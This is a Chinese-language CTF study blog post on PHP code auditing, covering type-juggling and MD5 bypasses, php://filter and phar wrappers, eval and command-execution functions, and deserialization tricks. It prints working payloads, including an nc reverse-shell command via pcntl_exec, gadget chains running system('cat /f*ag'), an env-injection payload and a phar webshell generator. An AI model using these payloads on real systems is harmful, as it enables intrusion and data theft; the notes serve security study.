PHP代码审计

phps,可能可查看该php文件源码

index.php.bak:index.php文件备份名


php7.1+:类型不敏感,反序列化public属性可以直接赋给private


_GET

$_GET看成一个键值对数组(关联数组)

$_GET == array(‘id’=>1,‘name’=>‘xiao’)

函数引用 & 可以修改_GET....的值,不能修改_Request的值

在url传参时,传入的值都会被当做字符串处理(/?id=0,0不是0,而是"0")


php传参问题

php<8.0时

传入的参数名中.空格都会被替换成下划线_

?a b.=1 --> 后端接收:a_b_=1;

如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来的非法字符不会继续转换成下划线_


sandBox&REMOTE_ADDR

$sandBox = md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandBox)){
    mkdir($sandBox,0755,true);
}
if($_FILES){
    move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo $sandBox;
}

highlight_file(__FILE__);

本地构造文件上传表单(记得改url):

<form action="http://7b9f6095-2fc9-49bd-804d-b717f89483de.www.polarctf.com:8090/" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" />
   
</form>

提交后访问对应路径下文件即可


PHP弱类型

https://www.cnblogs.com/Mrsm1th/p/6745532.html

PHP特性的一些笔记-CSDN博客

MD5绕过

[CTF中常见php-MD5()函数漏洞_if((string)$_post'n']!==(string)$_post['o'] &&md5-CSDN博客

md5绕过(sql):ffifdyop


$_GET['name'] != $_GET['password']
MD5($_GET['name']) == MD5($_GET['password'])

md5加密后以0E开头:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

a = QNKCDZO
md5(a) = 0e830400451993494058024219903391

b = 240610708
md5(b) = 0e462097431906509019562988736854

sha1加密后以0E开头:

sha1(‘aaroZmOk’)
sha1(‘aaK1STfY’)
sha1(‘aaO8zKZF’)
sha1(‘aa3OFF9m’)


$a==md5($a)

0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等



数组进行md5加密后为NULL

if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])

key1[]=1&key2[]=2


MD5强碰撞

if((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2']))

要求传入两个MD5相同的不同字符串

md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&
md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2


变量引用

两个变量同时指向同一个内存地址

$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;

让他们引用相同地址,获得相同的值


%0a

绕过各种函数,相当于;截断语句


文件包含

include()、require()、include_once()、require_once()

include函数

:伪协议,文件上传

include()函数包含文件时会按路径./../../../../ffffllllaaaagggg来寻找文件


file_get_content

file_get_contents会将不存在的协议名作为目录实现目录穿越

if(preg_match('/cyictf\.com/',$url)){...}

payload:
?url=cyictf.com../../../../../flag

session文件包含

open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域

假设open_basedir=/var/www/html/:/tmp/,那么通过访问服务器的用户就无法获取服务器上除了/var/www/html/和/tmp/这两个目录以外的文件。

用open_basedir指定的限制实际上是前缀,而不是目录名,如: "open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名


php伪协议


php://filter(过滤器)

php://filter/||/resource=flag.php

以||中间的形式输出文件的内容


绕过:详解php://filter以及死亡绕过_w0s1np的博客-CSDN博客

参考:php://filter的各种过滤器_php://filterpc:/users/sunxu/desktop/lfi.html-CSDN博客


string filter

(字符过滤器)

string.rot13
string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。
php://filter/string.rot13/resource=flag.php
string.toupper
string.toupper 将字符串转化为大写
php://filter/string.toupper/resource=flag.php
string.tolower
string.tolower 将字符串转化为小写
php://filter/string.tolower/resource=flag.php
string.strip_tags
string.strip_tags从字符串中去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
php://filter/string.strip_tags/resource=flag.php
php://filter/string.rot13/resource=flag.php
php://filter/string.toupper/resource=flag.php
php://filter/string.tolower/resource=flag.php
php://filter/string.strip_tags/resource=flag.php

conversion filter

(转换过滤器)

convert.base64-encode

&convert.base64-decode

php://filter/read=convert.base64-encode/resource=flag.php

:可查看被注释的php代码

/?file1=php://filter/read=convert.base64-encode/resource=flag.php

意思:用base64编码的方式来读文件flag.php(应该是先编码后给浏览器)

2:read/write

3:过滤器:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开)

4:处理的文件名

搭配函数:include()、require()、file_get_contents()、fopen()、readfile()、copy()、unlink()

如include(php://filter/read=convert.base64-encode/resource=flag.php),会将flag.php 包含进来


convert.quoted-printable-encode

&convert.quoted-printable-decode

在后面加了个=0A

php://filter/convert.quoted-printable-encode/resource=flag.php

convert.iconv.*
convert.iconv.<input-encoding>.<output-encoding> 
or 
convert.iconv.<input-encoding>/<output-encoding>
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php

过不去时爆破


php://filter/read=convert.base64-encode/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

compression filter

(压缩过滤器)

zlib.deflate

(压缩)

php://filter/zlib.deflate/resource=flag.php
zlib.inflate

(解压)

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

bzip2.compress和 bzip2.decompress和前面类似


encryption Filters

(加密过滤器)略


php://input

变量=php://input
/?file=php://input POST形式提交一句话木马

file_get_contents()函数


/?file=php://input    
post:1

后端$file=1
php://input相当于输入post的内容

file://

变量=file://文件绝对路径
/?file=file:///flag

/?file=file:///var/www/html/flag.php


phar://

phar伪协议读取文件时,对后缀没有限制,phar主要通过识别文件结构来识别phar文件

phar伪协议读取.phar文件时,会自动触发对manifest字段的序列化字符串进行反序列化。


变量覆盖

以下方法都会覆盖原来变量,且得到的变量都是全局变量

$$

/?a='b'
$$_GET['a'] = '456'
会创建一个全局变量 $b='456'


extract

提取内容变成全局变量
$arr = array('a'=>1,'b'=>2);
extract($arr)
会设置全局变量$a=1 $b=2


parse_str

parse_str("name=pe&id=1");
设置全局变量$name=pe $id=1;



任意代码执行

eval

eval(),执行括号内的语句(可能需要分号闭合),配合命令执行的话要用命令执行函数,如eval(system('ls'))


例1:eval(_GET('cmd'));
/?cmd=phpinfo(),就会打印出php版本界面,一般这个cmd是一个很复杂的字符串

例2:$data=$_GET['data'];
eval("$ret = strtolower('$data');");
构造/?data=haha');phpinfo();// 后成功执行phpinfo
eval 执行字符串时,会直接执行语句,且设置全局变量
原语句:$ret = strtolower(' haha'); phpinfo(); // ')
通过 ' ) 闭合语句,//注释后面没用的东西


assert

assert(GET('cmd'));
/?cmd=phpinfo(),就会打印出php版本界面
可拆分后组成:$a="a"; $b="ss"; $c="ert";
$d=$a.$b.$c; $d(Request['cmd'])

想命令执行时前面要加上命令执行函数


preg_replace()

第一个参数:正则表达式
第二个参数:匹配成功后替换的内容,如果是//0则是替换整个第一个参数,//1表示替换( )里的通配
第三个参数:用来匹配的内容

利用条件:
第三个参数可控
正则表达式后即/ /后用e(代表会执行正则表达式替换后的内容)


create_function()

第一个参数相当于函数的传参
第二个参数相当于函数体
$return_str ='return $a +$b;';
$func = create_function( '$a, $b', $return_str);

create_function('$a','echo $a."123"')
类似于
function f($a) {
echo $a."123";
}
那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于

function f($a) {
echo 1;}phpinfo();//
}
从而执行phpinfo()命令

array_map()

第一个参数为执行函数
第二个参数为数组
从数组中顺序取值丢给函数执行


array_filter()

第一个传数组,第二个为执行函数
从数组中顺序取值丢给函数执行


call_user_func()

第一个参数传函数名,第二个参数传给函数的值


更多

call_user_func_array()
call_user_func()
array_filter() 
array_walk() array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()


命令执行

system()

有回显:直接使用


system(string $command, int &$result_code = null):string|false

system()有两个参数,第一个参数是执行的系统命令,第二个参数可选,用来保存命令是否执行成功。

命令如果成功执行,返回值是命令的最后一行,失败为false

$last_line = system('dir', $re);

会先执行dir命令打印目录,然后命令执行成功,给$re赋值0,$last_line保存dir命令的最后一行内容


命名空间更改

\system 使用绝对路径中的system函数



passthru()

有回显:直接使用


passthru(string $command, int &$result_code = null):?false

passthru()和system()参数一样

命令如果成功执行,返回值是null,失败为false



exec()

无回显,搭配输出函数(如echo,print_r...),搭配第二个参数使用


exec(string $command, array &$output = null, int &$result_code = null): string|false

exec()有三个参数,第一个参数是执行的系统命令,第二、三个参数可选,如果有第二个参数,命令执行成功后的每一行内容都变成一个数组元素放进第二个参数中,第三个和system()第二个参数一样,用来保存命令是否执行成功。

返回值和system()一样

exec('dir');      //无内容
echo exec('dir'); //有内容
    
$last_line = exec('dir', $output, $re);
echo "Returned with status $re and output:\n";
print_r($output);

命令执行成功后的内容放进$output数组中,给$re赋值0,$last_line保存dir命令的最后一行内容,$output为数组



shell_exec()

无回显,搭配输出函数(如echo,print_r...)


shell_exec(string $command): string|false|null

一个执行命令的参数

成功执行时返回值是命令全部内容

shell_exec('dir');      //无内容
echo shell_exec('dir'); //输出全部内容

l先判断执行后面,ll先判断执行前面
可构造()l恶意代码ll()(不确定)



反引号``

和shell_exec()一样


$a = _GET['a']; echo (`$a`); 构造/?a=dir 会直接执行命令



popen()

无回显,搭配文件读取命令(如fgets,fread,fwrite...)和输出函数


popen(string $command, string $mode): resource|false

第一个参数为命令,第二个为模式,返回值为流

打开文件
需自己手工去指向的区域输出内容

/?command = dir;
$command = $_GET['command'];  
$handle = popen($command,"r");//打开文件
while(!feof($handle)) echo fread($handle,1024);  //读取文件,把command看成文件

proc_open()

无回显


ob_start()

参数为字符串,是执行其他内容的函数
ob_start(“system”); echo “whoami”;ob_end_flush();
echo把内容输入进一个缓冲区等待执行(缓存区满再一次性执行),ob_end_flush()强制清空执行


pcntl_exec()

在当前进程空间执行指定程序

条件:PHP > 4.2.0

pcntl_exec(string $path, array $args = ?, array $envs = ? ): void

第一个参数传想执行的文件路径(如/bin/bash),第二个每个数组元素传对应的命令(如['-c','nc...'])

利用:1、将文件输出到有权限的路径。2、shell反弹

eval($cmd);
cmd=pcntl_exec("/bin/bash",array("-c","nc xxx.xxx.xxx.xxx 8888 -e /bin/bash"));
nc -lvp 8888

putenv()

ln -sf /bin/bash /bin /sh

在php中,system()函数调用/bin/sh来执行参数指定的命令,ln.......命令的作用是将系统默认的shell解释器从/bin/sh更改为/bin/bash。所以最后调用的system()函数的时候是bash环境


foreach ($_GET['get'] as $inject => $rce){
    putenv("{$inject}={$rce}");
}

我是如何利用环境变量注入执行任意命令-腾讯云开发者社区-腾讯云 (tencent.com)

payload:?get[BASH_FUNC_echo%%]=() { cat /f*; }


php魔术方法

__sleep()

__sleep()返回一个数组,表示想序列化的变量
serialize()执行前先查找该对象是否有__sleep()方法,有的话先调用__sleep()


__wakeup()

unserialize()执行前先查找该对象是否有__wakeup()方法,有的话先调用__wakeup()


反序列化中_wakeup的绕过__wakeup 反序列化绕过-CSDN博客

属性个数不匹配(cve-2016-7124)

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。

反序列化同一类时考虑绕过:对象数量由1改成2


GC(垃圾回收)

原理可参考:浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 海屿-uf9n1x - 博客园 (cnblogs.com)

payload:

a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

原本是构造一个对象的反序列化,现在构造一个数组的反序列化,i有的是代表下标,原本反序列化该数组会形成 [0]-> 对象 [1]->0,修改后面的i为0:

a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

GC 就会把后面那个int类型当垃圾收了,另一题payload:也可设置数组值为NULL原因看上面文章

a:2:{i:1;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /f*ag";}}}}}i:1;N;}


__construct()

具有构造函数的类会在每次创建新对象时先调用此方法,初始化工作执行。(构造方法


__destruct ()

对象的所有引用都被删除或者当对象被显式销毁时执行。(析构方法


__toString()

当一个类的实例对象;被当成一个字符串输出时调用
class a{
__toString(){};
};
$obj = new a();
echo $obj; 会调用__toString()


__set()

给不可访问的属性赋值时调用,或给未定义的属性赋值触发


更多

  1. __call()在对象中调用一个不可访问方法时,__call() 会被调用。
  2. __callStatic()在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
  3. __set() 在给不可访问的属性赋值时调用
  4. __get() 读取不可访问的属性值是自动调用
  5. __isset() 当对不可访问的私有属性使用isset或empty时自动调用
  6. __unset() 当对不可访问的私有属性使用unset时;自动调用
  7. __invoke() 当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用。

反/序列化

serialize($a):序列化a,原本用于传输数据时节省空间

class stu{
public $name="ccy";
protected $group=10;
private $age;
}
O:3:"stu":3:{s:4:"name";s:3:"ccy";s:8:"*group";i:10;s:8:"stuage";N;}
O代表object类,3表示类名长度,3说明类中三个成员变量,s是string,i是int,N是null;里面的顺序是((类型、后面字段长度)变量名,值)

public的变量名长度不变,protected的变量名会在前面加上 %00*%00 ,private的变量名会在前面加上 %00stu%00,stu是类名(反序列化时记得加上)


$obj = "O:3:"stu":3:{s:4:"name";s:3:"ccy";s:8:"*group";i:10;s:8:"stuage";N;}"

unserialize(&obj) 反序列化出一个对象,(如果有__destruct(),销毁时也会像个对象一样调用)。

小写o:当反序列化的类不存在时会报错
大写O:当反序列化的类不存在时会创建新类


str_replace

反序列化的结尾符以 ;} 结尾

条件:先序列化、str_replace、反序列化

变长

{s:3:"key";s:88:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}

{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";} ";s:3:"cmd";s:6:"whoami";}

后面构造,吃掉前面,预留后面


变短

用第一个成员变量把第二个成员变量的字符串长度吃了,之后再随意构造后面的成员变量

O:1:"u":3:{s:8:"username";s:20:"phtmlphtmlphtmlphtml";s:6:"passwd";s:46:";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}

O:1:"u":3:{s:8:"username";s:20:"";s:6:"passwd";s:46:";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}


session反序列化

https://xz.aliyun.com/t/6640

当session_start()被调用,或者php.ini中的session.auto_start为1时,php内部调用会话管理器,访问用户session被序列化后,存储到指定目录(默认为/tmp)


session.serialize_handler定义的引擎有三种(这些表示怎么存session数据的,即存储数据的格式),如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

产生原因:写入格式和读取格式不一致(两个界面,引擎不一样)

如:当一个界面是用php_serialize形式存储时,我们在我们构造的序列化对象前面加上|,另一个界面是php形式存储,在这个界面读取时,会把|当成分隔符,然后反序列化我们构造的对象


vul.php

<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class cyi{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>

save.php

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['cyi'] = $_GET['bkq'];
?>

我们首先构造所需的序列化对象:O:1:"D":1:{s:1:"a";s:13:"system('ls');";}

到save.php页面get提交?a=|O:1:"D":1:{s:1:"a";s:13:"system(%27ls%27);";}

此时服务器保存session文件的路径下会生成一条session记录:a:1:{s:3:"cyi";s:46:"|O:1:"D":1:{s:1:"a";s:13:"system(%27ls%27);";}";}

我们去访问vul.php界面,此时vul.php以php引擎解析,会把a:1:{s:3:"cyi";s:46:"看成键,把O:1:"D":1:{s:1:"a";s:13:"system(%27ls%27);";}";}看成序列化对象的值,然后反序列化


payload:|序列化对象


phar反序列化

文章:Phar反序列化及其Bypass | 无名大仙 (vvmdx.github.io)


版本:php8前

phar就是像java中的jar一样,是一种可以将整个php应用打包以便于部署的打包文件(本质是个压缩文件)


Phar结构

stub:phar 文件标识,格式为 xxx<?php xxx;__HALT_COMPiLER();?>;(头部信息),主要是通过识别__HALT_COMPiLER();判断为phar文件,前面的xxx代表可以有其他信息,以此进行绕过一些条件

manifest:压缩文件的属性等信息,以序列化存储;

contenis:压缩文件的内容;

signature:签名,放在文件末尾;

Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化


漏洞原理

manifest压缩文件的属性等信息以序列化形式存储在phar文件中,利用phar伪协议读取.phar文件时,会自动触发对manifest字段的序列化字符串进行反序列化。

Phar需要 PHP >= 5.2 在php.ini中将phar.readonly设为off(注意去掉前面的分号)


条件

  • phar文件能上传到服务器端
  • 可用的反序列化魔术方法作为跳板
  • 文件操作函数,如fopen(),file_get_contents()等
  • 文件操作函数参数可控,且:、/、phar等特殊字符没有被过滤

文件操作函数:

来源:https://paper.seebug.org/680/

更多利用:https://blog.zsxsoft.com/post/38


phar伪协议:phar://

phar伪协议读取文件时,对后缀没有限制,phar主要通过识别文件结构来识别phar文件


phar文件生成

<?php
highlight_file(__FILE__);
class Testobj        //**********
{                    //**********
    var $output='';  //**********
}                    //**********

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub

$o=new Testobj();                   //**********
$o->output='eval($_GET["a"]);';     //**********

$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

//**********为需改的部分


例题

index.php

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
if (isset($filename)){
    echo md5_file($filename);
}
//upload.php
?>

upload.php就是一个上传文件的界面


1、phar文件生成

<?php
highlight_file(__FILE__);
class TestObject {
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub

$o=new TestObject();                   //**********


$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>


2、文件上传

phar伪协议读取文件时,对后缀没有限制,phar主要通过识别文件结构来识别phar文件,改成白名单后缀


3、执行文件操作函数

利用phar伪协议读取文件,触发反序列化,执行__destruct中的代码


函数

rand()

变量引用

$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;

urldecode

原字符串使用二次编码,用弱类型0==字符串好像不行


preg_match()

preg_match绕过总结 - MustaphaMond - 博客园 (cnblogs.com)

1、正则表达式有最大长度限制

import requests
url = 'http://yuanshen.life:40074/?left=QNKCDZO&right=240610708'
data = {
    'key': 1020000*"a"+'603THINKPHP',
    'payload': "s"
}
res=requests.post(url=url,data=data)
print(res.text)

2、.不会匹配换行符,如

if(preg_match('/^.*(worries).*$/',$newyear)) {
	echo 'Don\'t be worry';
}

只需要

$newyear="\nworries"

3、在非多行模式下,$会忽略在句尾的%0a

if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
    echo $flag;
}

只需要传入

?a=flag%0a

4、正则表达式只会匹配%00之前的内容,后面的被截断掉

5、preg_match只能处理字符串,当传入数组时会返回false


preg_replace()

慎用preg_replace危险的/e修饰符(一句话后门常用) - 稻禾盛夏 - 博客园 (cnblogs.com)

/e

<?
echo preg_replace("/test/e",$_GET["a"],"test");
?>

给a传参phpinfo();,代码执行


htmlspecialchars()

将特定字符转义成HTML实体
主要<>,过滤xss


htmlspecialchar_decode()

又将HTML实体转换成字符
"&lt;" --> "<" 和 "&gt;" --> ">"
可能引入xss


addslashes()

' "前添加反斜杠\,过滤sql注入


stripslashes()

删除addslashes添加的 \
可能引入sql注入


in_array()

判断值是否在数组中,如果第三个参数为true,代表要区分大小写,没有则不用


strcmp()

当字符串和数组比较时,返回0

如果传入参数为数组类型,该函数返回NULL


is_numeric()

判断是否为数字,或者数字构成的数字字符串

payload可构造数字+任意字母(或特殊字符)

posted @ 2024-03-24 18:26  ^cyi^  阅读(33)  评论(0编辑  收藏  举报